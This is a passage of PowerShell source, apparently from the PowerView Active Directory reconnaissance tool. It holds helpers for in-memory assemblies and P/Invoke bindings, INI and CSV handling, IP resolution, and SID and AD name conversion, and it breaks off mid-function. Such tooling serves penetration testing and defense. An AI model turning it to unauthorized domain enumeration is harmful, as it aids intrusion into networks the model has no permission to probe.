Download as txt, pdf, or txt
Download as txt, pdf, or txt
You are on page 1of 252

function New-InMemoryModule {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChang
ingFunctions', '')]
[CmdletBinding()]
Param (
[Parameter(Position = 0)]
[ValidateNotNullOrEmpty()]
[String]
$ModuleName = [Guid]::NewGuid().ToString()
)

$AppDomain =
[Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDoma
in').GetValue($null, @())
$LoadedAssemblies = $AppDomain.GetAssemblies()

foreach ($Assembly in $LoadedAssemblies) {


if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq
$ModuleName)) {
return $Assembly
}
}

$DynAssembly = New-Object Reflection.AssemblyName($ModuleName)


$Domain = $AppDomain
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run')
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False)

return $ModuleBuilder
}

function func {
Param (
[Parameter(Position = 0, Mandatory = $True)]
[String]
$DllName,

[Parameter(Position = 1, Mandatory = $True)]


[string]
$FunctionName,
[Parameter(Position = 2, Mandatory = $True)]
[Type]
$ReturnType,

[Parameter(Position = 3)]
[Type[]]
$ParameterTypes,

[Parameter(Position = 4)]
[Runtime.InteropServices.CallingConvention]
$NativeCallingConvention,

[Parameter(Position = 5)]
[Runtime.InteropServices.CharSet]
$Charset,

[String]
$EntryPoint,

[Switch]
$SetLastError
)

$Properties = @{
DllName = $DllName
FunctionName = $FunctionName
ReturnType = $ReturnType
}

if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes }


if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] =
$NativeCallingConvention }
if ($Charset) { $Properties['Charset'] = $Charset }
if ($SetLastError) { $Properties['SetLastError'] = $SetLastError }
if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint }

New-Object PSObject -Property $Properties


}

function Add-Win32Type
{

[OutputType([Hashtable])]
Param(
[Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
[String]
$DllName,

[Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
[String]
$FunctionName,

[Parameter(ValueFromPipelineByPropertyName=$True)]
[String]
$EntryPoint,
[Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
[Type]
$ReturnType,

[Parameter(ValueFromPipelineByPropertyName=$True)]
[Type[]]
$ParameterTypes,

[Parameter(ValueFromPipelineByPropertyName=$True)]
[Runtime.InteropServices.CallingConvention]
$NativeCallingConvention =
[Runtime.InteropServices.CallingConvention]::StdCall,

[Parameter(ValueFromPipelineByPropertyName=$True)]
[Runtime.InteropServices.CharSet]
$Charset = [Runtime.InteropServices.CharSet]::Auto,

[Parameter(ValueFromPipelineByPropertyName=$True)]
[Switch]
$SetLastError,

[Parameter(Mandatory=$True)]
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is
[Reflection.Assembly])})]
$Module,

[ValidateNotNull()]
[String]
$Namespace = ''
)

BEGIN
{
$TypeHash = @{}
}

PROCESS
{
if ($Module -is [Reflection.Assembly])
{
if ($Namespace)
{
$TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName")
}
else
{
$TypeHash[$DllName] = $Module.GetType($DllName)
}
}
else
{

if (!$TypeHash.ContainsKey($DllName))
{
if ($Namespace)
{
$TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName",
'Public,BeforeFieldInit')
}
else
{
$TypeHash[$DllName] = $Module.DefineType($DllName,
'Public,BeforeFieldInit')
}
}

$Method = $TypeHash[$DllName].DefineMethod(
$FunctionName,
'Public,Static,PinvokeImpl',
$ReturnType,
$ParameterTypes)

$i = 1
foreach($Parameter in $ParameterTypes)
{
if ($Parameter.IsByRef)
{
[void] $Method.DefineParameter($i, 'Out', $null)
}

$i++
}

$DllImport = [Runtime.InteropServices.DllImportAttribute]
$SetLastErrorField = $DllImport.GetField('SetLastError')
$CallingConventionField = $DllImport.GetField('CallingConvention')
$CharsetField = $DllImport.GetField('CharSet')
$EntryPointField = $DllImport.GetField('EntryPoint')
if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False }

if ($PSBoundParameters['EntryPoint']) { $ExportedFuncName = $EntryPoint


} else { $ExportedFuncName = $FunctionName }

$Constructor =
[Runtime.InteropServices.DllImportAttribute].GetConstructor([String])
$DllImportAttribute = New-Object
Reflection.Emit.CustomAttributeBuilder($Constructor,
$DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(),
[Reflection.FieldInfo[]] @($SetLastErrorField,
$CallingConventionField,
$CharsetField,
$EntryPointField),
[Object[]] @($SLEValue,
([Runtime.InteropServices.CallingConvention]
$NativeCallingConvention),
([Runtime.InteropServices.CharSet] $Charset),
$ExportedFuncName))

$Method.SetCustomAttribute($DllImportAttribute)
}
}

END
{
if ($Module -is [Reflection.Assembly])
{
return $TypeHash
}

$ReturnTypes = @{}

foreach ($Key in $TypeHash.Keys)


{
$Type = $TypeHash[$Key].CreateType()

$ReturnTypes[$Key] = $Type
}

return $ReturnTypes
}
}

function psenum {

[OutputType([Type])]
Param (
[Parameter(Position = 0, Mandatory=$True)]
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is
[Reflection.Assembly])})]
$Module,

[Parameter(Position = 1, Mandatory=$True)]
[ValidateNotNullOrEmpty()]
[String]
$FullName,

[Parameter(Position = 2, Mandatory=$True)]
[Type]
$Type,

[Parameter(Position = 3, Mandatory=$True)]
[ValidateNotNullOrEmpty()]
[Hashtable]
$EnumElements,

[Switch]
$Bitfield
)

if ($Module -is [Reflection.Assembly])


{
return ($Module.GetType($FullName))
}

$EnumType = $Type -as [Type]

$EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType)

if ($Bitfield)
{
$FlagsConstructor = [FlagsAttribute].GetConstructor(@())
$FlagsCustomAttribute = New-Object
Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @())
$EnumBuilder.SetCustomAttribute($FlagsCustomAttribute)
}

foreach ($Key in $EnumElements.Keys)


{

$null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType)


}

$EnumBuilder.CreateType()
}

function field {
Param (
[Parameter(Position = 0, Mandatory=$True)]
[UInt16]
$Position,

[Parameter(Position = 1, Mandatory=$True)]
[Type]
$Type,

[Parameter(Position = 2)]
[UInt16]
$Offset,

[Object[]]
$MarshalAs
)

@{
Position = $Position
Type = $Type -as [Type]
Offset = $Offset
MarshalAs = $MarshalAs
}
}

function struct
{

[OutputType([Type])]
Param (
[Parameter(Position = 1, Mandatory=$True)]
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is
[Reflection.Assembly])})]
$Module,

[Parameter(Position = 2, Mandatory=$True)]
[ValidateNotNullOrEmpty()]
[String]
$FullName,

[Parameter(Position = 3, Mandatory=$True)]
[ValidateNotNullOrEmpty()]
[Hashtable]
$StructFields,

[Reflection.Emit.PackingSize]
$PackingSize = [Reflection.Emit.PackingSize]::Unspecified,

[Switch]
$ExplicitLayout
)

if ($Module -is [Reflection.Assembly])


{
return ($Module.GetType($FullName))
}

[Reflection.TypeAttributes] $StructAttributes = 'AnsiClass,


Class,
Public,
Sealed,
BeforeFieldInit'

if ($ExplicitLayout)
{
$StructAttributes = $StructAttributes -bor
[Reflection.TypeAttributes]::ExplicitLayout
}
else
{
$StructAttributes = $StructAttributes -bor
[Reflection.TypeAttributes]::SequentialLayout
}

$StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType],


$PackingSize)
$ConstructorInfo =
[Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
$SizeConst =
@([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))

$Fields = New-Object Hashtable[]($StructFields.Count)

foreach ($Field in $StructFields.Keys)


{
$Index = $StructFields[$Field]['Position']
$Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]}
}

foreach ($Field in $Fields)


{
$FieldName = $Field['FieldName']
$FieldProp = $Field['Properties']

$Offset = $FieldProp['Offset']
$Type = $FieldProp['Type']
$MarshalAs = $FieldProp['MarshalAs']
$NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public')

if ($MarshalAs)
{
$UnmanagedType = $MarshalAs[0] -as
([Runtime.InteropServices.UnmanagedType])
if ($MarshalAs[1])
{
$Size = $MarshalAs[1]
$AttribBuilder = New-Object
Reflection.Emit.CustomAttributeBuilder($ConstructorInfo,
$UnmanagedType, $SizeConst, @($Size))
}
else
{
$AttribBuilder = New-Object
Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]]
@($UnmanagedType))
}

$NewField.SetCustomAttribute($AttribBuilder)
}

if ($ExplicitLayout) { $NewField.SetOffset($Offset) }
}

$SizeMethod = $StructBuilder.DefineMethod('GetSize',
'Public, Static',
[Int],
[Type[]] @())
$ILGenerator = $SizeMethod.GetILGenerator()

$ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
[Type].GetMethod('GetTypeFromHandle'))
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
[Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type])))
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret)

$ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit',
'PrivateScope, Public, Static, HideBySig, SpecialName',
$StructBuilder,
[Type[]] @([IntPtr]))
$ILGenerator2 = $ImplicitConverter.GetILGenerator()
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop)
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
[Type].GetMethod('GetTypeFromHandle'))
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
[Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]]
@([IntPtr], [Type])))
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder)
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret)
$StructBuilder.CreateType()
}

Function New-DynamicParameter {

[CmdletBinding(DefaultParameterSetName = 'DynamicParameter')]
Param (
[Parameter(Mandatory = $true, ValueFromPipeline = $true,
ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]
[ValidateNotNullOrEmpty()]
[string]$Name,

[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName =


'DynamicParameter')]
[System.Type]$Type = [int],

[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName =


'DynamicParameter')]
[string[]]$Alias,

[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName =


'DynamicParameter')]
[switch]$Mandatory,

[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName =


'DynamicParameter')]
[int]$Position,

[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName =


'DynamicParameter')]
[string]$HelpMessage,

[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName =


'DynamicParameter')]
[switch]$DontShow,

[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName =


'DynamicParameter')]
[switch]$ValueFromPipeline,

[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName =


'DynamicParameter')]
[switch]$ValueFromPipelineByPropertyName,

[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName =


'DynamicParameter')]
[switch]$ValueFromRemainingArguments,

[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName =


'DynamicParameter')]
[string]$ParameterSetName = '__AllParameterSets',

[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName =


'DynamicParameter')]
[switch]$AllowNull,

[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName =


'DynamicParameter')]
[switch]$AllowEmptyString,

[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName =


'DynamicParameter')]
[switch]$AllowEmptyCollection,

[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName =


'DynamicParameter')]
[switch]$ValidateNotNull,

[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName =


'DynamicParameter')]
[switch]$ValidateNotNullOrEmpty,

[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName =


'DynamicParameter')]
[ValidateCount(2,2)]
[int[]]$ValidateCount,

[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName =


'DynamicParameter')]
[ValidateCount(2,2)]
[int[]]$ValidateRange,

[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName =


'DynamicParameter')]
[ValidateCount(2,2)]
[int[]]$ValidateLength,

[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName =


'DynamicParameter')]
[ValidateNotNullOrEmpty()]
[string]$ValidatePattern,

[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName =


'DynamicParameter')]
[ValidateNotNullOrEmpty()]
[scriptblock]$ValidateScript,

[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName =


'DynamicParameter')]
[ValidateNotNullOrEmpty()]
[string[]]$ValidateSet,

[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName =


'DynamicParameter')]
[ValidateNotNullOrEmpty()]
[ValidateScript({
if(!($_ -is
[System.Management.Automation.RuntimeDefinedParameterDictionary]))
{
Throw 'Dictionary must be a
System.Management.Automation.RuntimeDefinedParameterDictionary object'
}
$true
})]
$Dictionary = $false,

[Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true,


ParameterSetName = 'CreateVariables')]
[switch]$CreateVariables,

[Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true,


ParameterSetName = 'CreateVariables')]
[ValidateNotNullOrEmpty()]
[ValidateScript({

if($_.GetType().Name -notmatch 'Dictionary') {


Throw 'BoundParameters must be a
System.Management.Automation.PSBoundParametersDictionary object'
}
$true
})]
$BoundParameters
)

Begin {
$InternalDictionary = New-Object -TypeName
System.Management.Automation.RuntimeDefinedParameterDictionary
function _temp { [CmdletBinding()] Param() }
$CommonParameters = (Get-Command _temp).Parameters.Keys
}

Process {
if($CreateVariables) {
$BoundKeys = $BoundParameters.Keys | Where-Object { $CommonParameters -
notcontains $_ }
ForEach($Parameter in $BoundKeys) {
if ($Parameter) {
Set-Variable -Name $Parameter -Value $BoundParameters.
$Parameter -Scope 1 -Force
}
}
}
else {
$StaleKeys = @()
$StaleKeys = $PSBoundParameters.GetEnumerator() |
ForEach-Object {
if($_.Value.PSobject.Methods.Name -match '^Equals$') {

if(!$_.Value.Equals((Get-Variable -Name $_.Key -


ValueOnly -Scope 0))) {
$_.Key
}
}
else {

if($_.Value -ne (Get-Variable -Name $_.Key -


ValueOnly -Scope 0)) {
$_.Key
}
}
}
if($StaleKeys) {
$StaleKeys | ForEach-Object {[void]$PSBoundParameters.Remove($_)}
}

$UnboundParameters = (Get-Command -Name


($PSCmdlet.MyInvocation.InvocationName)).Parameters.GetEnumerator() |

Where-Object { $_.Value.ParameterSets.Keys
-contains $PsCmdlet.ParameterSetName } |
Select-Object -ExpandProperty Key |

Where-Object
{ $PSBoundParameters.Keys -notcontains $_ }

$tmp = $null
ForEach ($Parameter in $UnboundParameters) {
$DefaultValue = Get-Variable -Name $Parameter -ValueOnly -Scope 0
if(!$PSBoundParameters.TryGetValue($Parameter, [ref]$tmp) -and
$DefaultValue) {
$PSBoundParameters.$Parameter = $DefaultValue
}
}

if($Dictionary) {
$DPDictionary = $Dictionary
}
else {
$DPDictionary = $InternalDictionary
}

$GetVar = {Get-Variable -Name $_ -ValueOnly -Scope 0}

$AttributeRegex = '^(Mandatory|Position|ParameterSetName|DontShow|
HelpMessage|ValueFromPipeline|ValueFromPipelineByPropertyName|
ValueFromRemainingArguments)$'
$ValidationRegex = '^(AllowNull|AllowEmptyString|AllowEmptyCollection|
ValidateCount|ValidateLength|ValidatePattern|ValidateRange|ValidateScript|
ValidateSet|ValidateNotNull|ValidateNotNullOrEmpty)$'
$AliasRegex = '^Alias$'
$ParameterAttribute = New-Object -TypeName
System.Management.Automation.ParameterAttribute

switch -regex ($PSBoundParameters.Keys) {


$AttributeRegex {
Try {
$ParameterAttribute.$_ = . $GetVar
}
Catch {
$_
}
continue
}
}

if($DPDictionary.Keys -contains $Name) {


$DPDictionary.$Name.Attributes.Add($ParameterAttribute)
}
else {
$AttributeCollection = New-Object -TypeName
Collections.ObjectModel.Collection[System.Attribute]
switch -regex ($PSBoundParameters.Keys) {
$ValidationRegex {
Try {
$ParameterOptions = New-Object -TypeName
"System.Management.Automation.${_}Attribute" -ArgumentList (. $GetVar) -ErrorAction
Stop
$AttributeCollection.Add($ParameterOptions)
}
Catch { $_ }
continue
}
$AliasRegex {
Try {
$ParameterAlias = New-Object -TypeName
System.Management.Automation.AliasAttribute -ArgumentList (. $GetVar) -ErrorAction
Stop
$AttributeCollection.Add($ParameterAlias)
continue
}
Catch { $_ }
}
}
$AttributeCollection.Add($ParameterAttribute)
$Parameter = New-Object -TypeName
System.Management.Automation.RuntimeDefinedParameter -ArgumentList @($Name, $Type,
$AttributeCollection)
$DPDictionary.Add($Name, $Parameter)
}
}
}

End {
if(!$CreateVariables -and !$Dictionary) {
$DPDictionary
}
}
}

function Get-IniContent {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([Hashtable])]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('FullName', 'Name')]
[ValidateNotNullOrEmpty()]
[String[]]
$Path,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,

[Switch]
$OutputObject
)

BEGIN {
$MappedComputers = @{}
}

PROCESS {
ForEach ($TargetPath in $Path) {
if (($TargetPath -Match '\\\\.*\\.*') -and
($PSBoundParameters['Credential'])) {
$HostComputer = (New-Object System.Uri($TargetPath)).Host
if (-not $MappedComputers[$HostComputer]) {

Add-RemoteConnection -ComputerName $HostComputer -Credential


$Credential
$MappedComputers[$HostComputer] = $True
}
}

if (Test-Path -Path $TargetPath) {


if ($PSBoundParameters['OutputObject']) {
$IniObject = New-Object PSObject
}
else {
$IniObject = @{}
}
Switch -Regex -File $TargetPath {
"^\[(.+)\]"
{
$Section = $matches[1].Trim()
if ($PSBoundParameters['OutputObject']) {
$Section = $Section.Replace(' ', '')
$SectionObject = New-Object PSObject
$IniObject | Add-Member Noteproperty $Section
$SectionObject
}
else {
$IniObject[$Section] = @{}
}
$CommentCount = 0
}
"^(;.*)$"
{
$Value = $matches[1].Trim()
$CommentCount = $CommentCount + 1
$Name = 'Comment' + $CommentCount
if ($PSBoundParameters['OutputObject']) {
$Name = $Name.Replace(' ', '')
$IniObject.$Section | Add-Member Noteproperty $Name
$Value
}
else {
$IniObject[$Section][$Name] = $Value
}
}
"(.+?)\s*=(.*)"
{
$Name, $Value = $matches[1..2]
$Name = $Name.Trim()
$Values = $Value.split(',') | ForEach-Object { $_.Trim() }

if ($PSBoundParameters['OutputObject']) {
$Name = $Name.Replace(' ', '')
$IniObject.$Section | Add-Member Noteproperty $Name
$Values
}
else {
$IniObject[$Section][$Name] = $Values
}
}
}
$IniObject
}
}
}

END {

$MappedComputers.Keys | Remove-RemoteConnection
}
}

function Export-PowerViewCSV {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[System.Management.Automation.PSObject[]]
$InputObject,

[Parameter(Mandatory = $True, Position = 1)]


[ValidateNotNullOrEmpty()]
[String]
$Path,

[Parameter(Position = 2)]
[ValidateNotNullOrEmpty()]
[Char]
$Delimiter = ',',

[Switch]
$Append
)
BEGIN {
$OutputPath = [IO.Path]::GetFullPath($PSBoundParameters['Path'])
$Exists = [System.IO.File]::Exists($OutputPath)

$Mutex = New-Object System.Threading.Mutex $False,'CSVMutex'


$Null = $Mutex.WaitOne()

if ($PSBoundParameters['Append']) {
$FileMode = [System.IO.FileMode]::Append
}
else {
$FileMode = [System.IO.FileMode]::Create
$Exists = $False
}

$CSVStream = New-Object IO.FileStream($OutputPath, $FileMode,


[System.IO.FileAccess]::Write, [IO.FileShare]::Read)
$CSVWriter = New-Object System.IO.StreamWriter($CSVStream)
$CSVWriter.AutoFlush = $True
}

PROCESS {
ForEach ($Entry in $InputObject) {
$ObjectCSV = ConvertTo-Csv -InputObject $Entry -Delimiter $Delimiter -
NoTypeInformation

if (-not $Exists) {

$ObjectCSV | ForEach-Object { $CSVWriter.WriteLine($_) }


$Exists = $True
}
else {

$ObjectCSV[1..($ObjectCSV.Length-1)] | ForEach-Object
{ $CSVWriter.WriteLine($_) }
}
}
}

END {
$Mutex.ReleaseMutex()
$CSVWriter.Dispose()
$CSVStream.Dispose()
}
}

function Resolve-IPAddress {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.Management.Automation.PSCustomObject')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = $Env:COMPUTERNAME
)

PROCESS {
ForEach ($Computer in $ComputerName) {
try {
@(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-
Object {
if ($_.AddressFamily -eq 'InterNetwork') {
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'ComputerName' $Computer
$Out | Add-Member Noteproperty 'IPAddress'
$_.IPAddressToString
$Out
}
}
}
catch {
Write-Verbose "[Resolve-IPAddress] Could not resolve $Computer to
an IP Address."
}
}
}
}

function ConvertTo-SID {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([String])]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('Name', 'Identity')]
[String[]]
$ObjectName,

[ValidateNotNullOrEmpty()]
[String]
$Domain,

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

BEGIN {
$DomainSearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $DomainSearcherArguments['Domain'] =
$Domain }
if ($PSBoundParameters['Server']) { $DomainSearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['Credential'])
{ $DomainSearcherArguments['Credential'] = $Credential }
}

PROCESS {
ForEach ($Object in $ObjectName) {
$Object = $Object -Replace '/','\'

if ($PSBoundParameters['Credential']) {
$DN = Convert-ADName -Identity $Object -OutputType 'DN'
@DomainSearcherArguments
if ($DN) {
$UserDomain = $DN.SubString($DN.IndexOf('DC=')) -replace
'DC=','' -replace ',','.'
$UserName = $DN.Split(',')[0].split('=')[1]

$DomainSearcherArguments['Identity'] = $UserName
$DomainSearcherArguments['Domain'] = $UserDomain
$DomainSearcherArguments['Properties'] = 'objectsid'
Get-DomainObject @DomainSearcherArguments | Select-Object -
Expand objectsid
}
}
else {
try {
if ($Object.Contains('\')) {
$Domain = $Object.Split('\')[0]
$Object = $Object.Split('\')[1]
}
elseif (-not $PSBoundParameters['Domain']) {
$DomainSearcherArguments = @{}
$Domain = (Get-Domain @DomainSearcherArguments).Name
}

$Obj = (New-Object System.Security.Principal.NTAccount($Domain,


$Object))

$Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value
}
catch {
Write-Verbose "[ConvertTo-SID] Error converting $Domain\$Object
: $_"
}
}
}
}
}

function ConvertFrom-SID {

[OutputType([String])]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('SID')]
[ValidatePattern('^S-1-.*')]
[String[]]
$ObjectSid,

[ValidateNotNullOrEmpty()]
[String]
$Domain,

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

BEGIN {
$ADNameArguments = @{}
if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] =
$Credential }
}

PROCESS {
ForEach ($TargetSid in $ObjectSid) {
$TargetSid = $TargetSid.trim('*')
try {

Switch ($TargetSid) {
'S-1-0' { 'Null Authority' }
'S-1-0-0' { 'Nobody' }
'S-1-1' { 'World Authority' }
'S-1-1-0' { 'Everyone' }
'S-1-2' { 'Local Authority' }
'S-1-2-0' { 'Local' }
'S-1-2-1' { 'Console Logon ' }
'S-1-3' { 'Creator Authority' }
'S-1-3-0' { 'Creator Owner' }
'S-1-3-1' { 'Creator Group' }
'S-1-3-2' { 'Creator Owner Server' }
'S-1-3-3' { 'Creator Group Server' }
'S-1-3-4' { 'Owner Rights' }
'S-1-4' { 'Non-unique Authority' }
'S-1-5' { 'NT Authority' }
'S-1-5-1' { 'Dialup' }
'S-1-5-2' { 'Network' }
'S-1-5-3' { 'Batch' }
'S-1-5-4' { 'Interactive' }
'S-1-5-6' { 'Service' }
'S-1-5-7' { 'Anonymous' }
'S-1-5-8' { 'Proxy' }
'S-1-5-9' { 'Enterprise Domain Controllers' }
'S-1-5-10' { 'Principal Self' }
'S-1-5-11' { 'Authenticated Users' }
'S-1-5-12' { 'Restricted Code' }
'S-1-5-13' { 'Terminal Server Users' }
'S-1-5-14' { 'Remote Interactive Logon' }
'S-1-5-15' { 'This Organization ' }
'S-1-5-17' { 'This Organization ' }
'S-1-5-18' { 'Local System' }
'S-1-5-19' { 'NT Authority' }
'S-1-5-20' { 'NT Authority' }
'S-1-5-80-0' { 'All Services ' }
'S-1-5-32-544' { 'BUILTIN\Administrators' }
'S-1-5-32-545' { 'BUILTIN\Users' }
'S-1-5-32-546' { 'BUILTIN\Guests' }
'S-1-5-32-547' { 'BUILTIN\Power Users' }
'S-1-5-32-548' { 'BUILTIN\Account Operators' }
'S-1-5-32-549' { 'BUILTIN\Server Operators' }
'S-1-5-32-550' { 'BUILTIN\Print Operators' }
'S-1-5-32-551' { 'BUILTIN\Backup Operators' }
'S-1-5-32-552' { 'BUILTIN\Replicators' }
'S-1-5-32-554' { 'BUILTIN\Pre-Windows 2000 Compatible
Access' }
'S-1-5-32-555' { 'BUILTIN\Remote Desktop Users' }
'S-1-5-32-556' { 'BUILTIN\Network Configuration Operators' }
'S-1-5-32-557' { 'BUILTIN\Incoming Forest Trust Builders' }
'S-1-5-32-558' { 'BUILTIN\Performance Monitor Users' }
'S-1-5-32-559' { 'BUILTIN\Performance Log Users' }
'S-1-5-32-560' { 'BUILTIN\Windows Authorization Access
Group' }
'S-1-5-32-561' { 'BUILTIN\Terminal Server License Servers' }
'S-1-5-32-562' { 'BUILTIN\Distributed COM Users' }
'S-1-5-32-569' { 'BUILTIN\Cryptographic Operators' }
'S-1-5-32-573' { 'BUILTIN\Event Log Readers' }
'S-1-5-32-574' { 'BUILTIN\Certificate Service DCOM Access' }
'S-1-5-32-575' { 'BUILTIN\RDS Remote Access Servers' }
'S-1-5-32-576' { 'BUILTIN\RDS Endpoint Servers' }
'S-1-5-32-577' { 'BUILTIN\RDS Management Servers' }
'S-1-5-32-578' { 'BUILTIN\Hyper-V Administrators' }
'S-1-5-32-579' { 'BUILTIN\Access Control Assistance Operators'
}
'S-1-5-32-580' { 'BUILTIN\Access Control Assistance Operators'
}
Default {
Convert-ADName -Identity $TargetSid @ADNameArguments
}
}
}
catch {
Write-Verbose "[ConvertFrom-SID] Error converting SID
'$TargetSid' : $_"
}
}
}
}

function Convert-ADName {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChang
ingFunctions', '')]
[OutputType([String])]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('Name', 'ObjectName')]
[String[]]
$Identity,

[String]
[ValidateSet('DN', 'Canonical', 'NT4', 'Display', 'DomainSimple',
'EnterpriseSimple', 'GUID', 'Unknown', 'UPN', 'CanonicalEx', 'SPN')]
$OutputType,

[ValidateNotNullOrEmpty()]
[String]
$Domain,

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

BEGIN {
$NameTypes = @{
'DN' = 1
'Canonical' = 2
'NT4' = 3
'Display' = 4
'DomainSimple' = 5
'EnterpriseSimple' = 6
'GUID' = 7
'Unknown' = 8
'UPN' = 9
'CanonicalEx' = 10
'SPN' = 11
'SID' = 12
}

function Invoke-Method([__ComObject] $Object, [String] $Method,


$Parameters) {
$Output = $Null
$Output = $Object.GetType().InvokeMember($Method, 'InvokeMethod',
$NULL, $Object, $Parameters)
Write-Output $Output
}

function Get-Property([__ComObject] $Object, [String] $Property) {


$Object.GetType().InvokeMember($Property, 'GetProperty', $NULL,
$Object, $NULL)
}

function Set-Property([__ComObject] $Object, [String] $Property,


$Parameters) {
[Void] $Object.GetType().InvokeMember($Property, 'SetProperty', $NULL,
$Object, $Parameters)
}

if ($PSBoundParameters['Server']) {
$ADSInitType = 2
$InitName = $Server
